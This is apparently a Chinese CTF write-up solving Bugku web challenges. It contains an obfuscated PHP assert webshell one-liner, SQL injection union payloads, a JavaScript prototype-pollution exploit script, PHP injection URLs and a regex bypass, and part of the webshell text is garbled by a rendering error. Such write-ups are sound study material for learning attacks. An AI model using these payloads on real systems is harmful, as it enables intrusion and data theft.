bugku web篇(二)
shell
描 述: 送给大家一个过狗一句话 $poc=“a#s#s#e#r#t”; KaTeX parse error: Expected 'EOF', got '#' at position 16: poc_1=explode("#̲",poc); poc_2=poc2=poc_1[0].poc_1[1].poc1[1].poc_1[2].poc_1[3].poc1[3].poc_1[4].$poc_1[5]; poc_2(poc2(_GET[‘s’])
描述中
存在参数s
存在assert()代码执行漏洞
可以利用参数s传入php代码,利用assert()执行代码
成绩查询
描 述: 来源山科大ctf
1' or '1'='1'#
-1’ union select 1,2,3,database()#得到数据库名skctf_flag 然后爆表名:通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名:fl4g,sc
-1' union select 1,2,3,skctf_flag from fl4g#
秋名山车神WEB
描 述: 秋名山车神
亲请在2s内计算老司机的车速是多少 75279524+1657764087+1201048930-1446001271*2101146556+1437496613-942194510*1041927694*1606247404-589875910-1598848247=?;
import requests from lxml import etree ''' eval():将字符串str当成有效的表达式来求值并返回计算结果 ''' url = 'http://114.67.175.224:12793/' response = requests.session() re = response.get(url=url).content.decode('utf-8') elements = etree.HTML(re).xpath('//div/text()')[0][0:-3] result = eval(elements) print(result,'\n') data = { 'value':result } flag = response.post(url=url,data=data).content.decode('utf-8') # flag_x = etree.HTML(flag) # # print(etree.tostring(flag_x,encoding='utf-8').decode('utf-8')) print(flag)
速度要快
描 述: 速度要快!
抓包对flag base64解密两次
import requests#bugku 速度要快 --爬虫练习 import base64 s =requests.Session() headers =s.get("http://114.67.175.224:18523/").headers str1 = base64.b64decode(headers['flag']) str2 = base64.b64decode(repr(str1).split(':')[1]) data= {'margin':str2} flag = s.post("http://114.67.175.224:18523/",data=data) print(flag.text)
flag{9c1d2117687e481ce51f93f06a3b17e6}
闪电十六鞭
WEB 已解决
描 述: flag{}
http://114.67.175.224:11387/?flag=$a=%27flxg%27;$a{2}=%27a%27;11111111111111111;?%3E%3C?=$$a;?%3E
sodirty
index.js文件
打开index.js得到源代码
发现set-value,判断存在js原型链污染
import requests import random from bs4 import BeautifulSoup import re import base64 s = requests.session() #保持同一个会话 def reg(url): url=url+"reg" r=s.get(url) print(r.text) def update(url,data): url=url+"update" print(url) r=s.post(url,data=data) print(r.text) def getflag(url,data): url=url+"getflag" r=s.post(url,data=data) print(r.text) url="http://114.67.175.224:13101/" reg(url) data={"attrkey":"age","attrval":"20"} update(url,data) data={"attrkey":"__proto__.pwd","attrval":"123"} update(url,data) data={"password":"123","key":"pwd"} getflag(url,data)
字符?正则?
描 述: 字符?正则?
<?php highlight_file('2.php'); $key='flag{********************************}'; $IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match); if( $IM ){ die('key is: '.$key); } ?>
. 匹配除 "\n" 之外的任何单个字符 * 匹配它前面的表达式0次或多次,等价于{0,} {4,7} 最少匹配 4 次且最多匹配 7 次,结合前面的 . 也就是匹配 4 到 7 个任意字符 \/ 匹配 / ,这里的 \ 是为了转义 [a-z] 匹配所有小写字母 [:punct:] 匹配任何标点符号 /i 表示不分大小写
http://114.67.175.224:14152/?id=keykey11111key:/5/keya=